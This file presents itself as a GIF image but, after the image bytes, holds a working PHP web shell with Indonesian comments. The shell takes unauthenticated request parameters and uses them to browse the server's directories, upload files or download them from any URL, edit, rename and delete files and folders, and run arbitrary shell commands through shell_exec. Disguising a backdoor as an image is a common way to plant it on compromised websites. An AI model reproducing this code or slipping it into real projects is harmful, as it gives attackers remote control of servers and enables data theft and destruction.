GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;c*!&r)�7�<{4�3�H�KoT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�$r�l:x(tJ�Z�,v��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��8��D���"�n� �H��L��DkD�B�����D���T���H �G��A R�� |�� m&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q����"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`G&|s h��K3l7�B|�$'7J�*0!��D�n=�P� ����0`�R�lj����v>���5 �.69��d�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!>���i��9��#��)p�a � �{�)vm��%D~ 6f��s}R�D�W E�`!� �&L8x� �{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`���9�Y�F���`?��"� �n@`�} l��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)�lXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~�wSt}6K,��q�S:9*:���l�@�`�� �.��t9�S�[�:��=`9N����{��A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U,u��%�S��!���~`�G���� ���=4�np�3���������u�u�n|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D�S�(>�C�x}`��xJ,����p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�xF#�{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&�)�4��6�K� �@pH,�$r�l:x(tJ�Z�,v��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E ����C����R��D��"���H��M��G�D�B����D��T����G���C�C� l&�~:'�tU�6y#��)�'�.6�&��; K(8p0N�?!�2"��N2X>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$���&"s��3����dc�UU�#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.��s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"ASn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�93�2�D��&: Z`�]w���:�6��B�7eFJ|���,���F�cS��+B�,�:N���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I��*K���q�`DwV�QXS��peS��� q'TS����R�u �<�a�*At�lmE� � ��N[P1����$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $����{L�"[��K�g�;�S~��GX.�goT.�����x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�,:�01��rR~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&)�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&�*2)�7�4�3��6�H�K{H�T��Y��q��h� ��pH,�$r�l:x(tJ�Z�,v��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B���D��a��`1r����� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# �6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`��x�L9��3� �~��:���MDfJ� ���W�%�S�X �)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1�s�x�W�jal|0��B0�, \j�:6���C ��W��|��9���z8V {�;��n��V�m�I��.��PN� ����C��+��By�~Hx:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�65-��U ��z�R3,3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'�l���2K{� {�?~m���I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdh�:$ ���v�] A#� ���a�z)Rx���d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�)Q�C���`(�}\�n ��$<��n@d E#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%2��da0mVk�):;&6p>�jK ��# �D�:�c?:R �f��I-�"�<�="��7�3S��c2RW ,�8(T"P0F�Jh�" ; $value) { if ($value == "" && $key == 0){ $links .= ' : /'; continue; } $links .= '/'; } return $links; } function showFiles($dir) { $scan = @scandir($dir); // Use @ to suppress warnings if ($scan === false) { echo "Error: Unable to scan directory."; return; } // Pisahkan folder dan file $folders = array(); $files = array(); foreach ($scan as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . '/' . $item; if (is_dir($path)) { $folders[] = $item; } else { $files[] = $item; } } // Tampilkan folder terlebih dahulu, kemudian file foreach ($folders as $item) { $path = $dir . '/' . $item; $size = '--'; // Ukuran tidak berlaku untuk folder $permission = substr(sprintf('%o', fileperms($path)), -4); // Get last 4 characters of permission $action = generateFolderActions($dir, $path); echo " " . $item . "
$size
$permission
$action
"; } foreach ($files as $item) { $path = $dir . '/' . $item; $size = formatSize(@filesize($path)); // Use @ to suppress warnings $permission = substr(sprintf('%o', fileperms($path)), -4); // Get last 4 characters of permission $action = generateFileActions($dir, $path, $item, $permission); echo " " . $item . "
$size
$permission
$action
"; } } function uploadFileFromUrl($url, $dir) { $fileName = basename($url); $filePath = $dir . '/' . $fileName; $content = file_get_contents($url); if ($content === false) { echo ""; return; } if (file_put_contents($filePath, $content) !== false) { echo ""; } else { echo ""; } } function formatSize($bytes) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= (1 << (10 * $pow)); return round($bytes, 2) . ' ' . $units[$pow]; } function generateFileActions($dir, $path, $item, $permission) { return 'Edit Delete Rename'; } function createFileForm($dir) { echo "

Create File :

"; } function generateFolderActions($dir, $path) { return 'Delete Rename'; } function renameFile($dir) { if (isset($_GET['rename'])) { echo '

New Name:
'; if (isset($_POST['rename'])) { $oldname = $_GET['rename']; $newname = dirname($oldname) . '/' . $_POST['newname']; if (rename($oldname, $newname)) { echo ""; } else { echo ""; } } } } function deleteFolder($dir) { if (isset($_GET['deletefolder'])) { $folderToDelete = $_GET['deletefolder']; // Periksa apakah folder kosong if (!is_dirEmpty($folderToDelete)) { echo ""; return; } // Hapus folder jika kosong if (rmdir($folderToDelete)) { echo ""; } else { echo ""; } } } // Fungsi untuk memeriksa apakah sebuah folder kosong function is_dirEmpty($dir) { if (!is_readable($dir)) return NULL; return (count(scandir($dir)) == 2); } function createFile($dir) { if (isset($_POST['addfile'])) { $filename = $_POST['filename']; $filecontent = $_POST['filecontent']; $filepath = $dir . '/' . $filename; if (file_exists($filepath)) { echo ""; } else { if (file_put_contents($filepath, $filecontent) !== false) { echo ""; } else { echo ""; } } } } function createFolderForm($dir) { echo "

"; } function createFolder($dir) { if(isset($_POST['addfolder'])){ $newFolderName = isset($_POST['okfolder']) ? $_POST['okfolder'] : ''; if(!empty($newFolderName)){ $newFolderPath = $dir . '/' . $newFolderName; if(mkdir($newFolderPath, 0777)){ echo ""; } else { echo ""; } } else { echo ""; } } } function deleteFile($dir) { if (isset($_GET['delete'])) { $fileToDelete = $_GET['delete']; if (unlink($fileToDelete)) { echo ""; } else { echo ""; } } } // Handle edit file request function editFile($dir) { if (isset($_GET['open'])) { $filePath = $_GET['open']; if (isset($_POST['edit'])) { $content = $_POST['edit']; if (file_put_contents($filePath, $content) !== false) { echo ""; } else { echo ""; } } else { echo '
'; } } } function runShellCommand($command) { // Jalankan perintah shell $output = shell_exec($command); // Tampilkan hasilnya echo "

"; } $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); if (isset($_POST['uploadurl'])) { $url = $_POST['url']; uploadFileFromUrl($url, $dir); } ?> <?php echo $host . " - " . $additional_title; ?>

"; echo "[ Home ]"; echo "
"; echo ""; echo '
'; echo'
'; if(isset($_POST['up'])){ $uploadfile = $_FILES['upfile']['name']; if(move_uploaded_file ($_FILES['upfile']['tmp_name'],$dir.'/'.$_FILES['upfile']['name'])){ echo"
File was successfully uploaded ! "; } else { echo "
Kasian upload gagal! "; } } echo ""; showFiles($dir); echo "
Nama File / Folder Size permission Action
"; if (isset($_GET['wibu']) && $_GET['wibu'] == 'createfile') { createFileForm($dir); } createFolder($dir); createFile($dir); deleteFile($dir); renameFile($dir); editFile($dir); echo createFolderForm($dir); ?>

Execution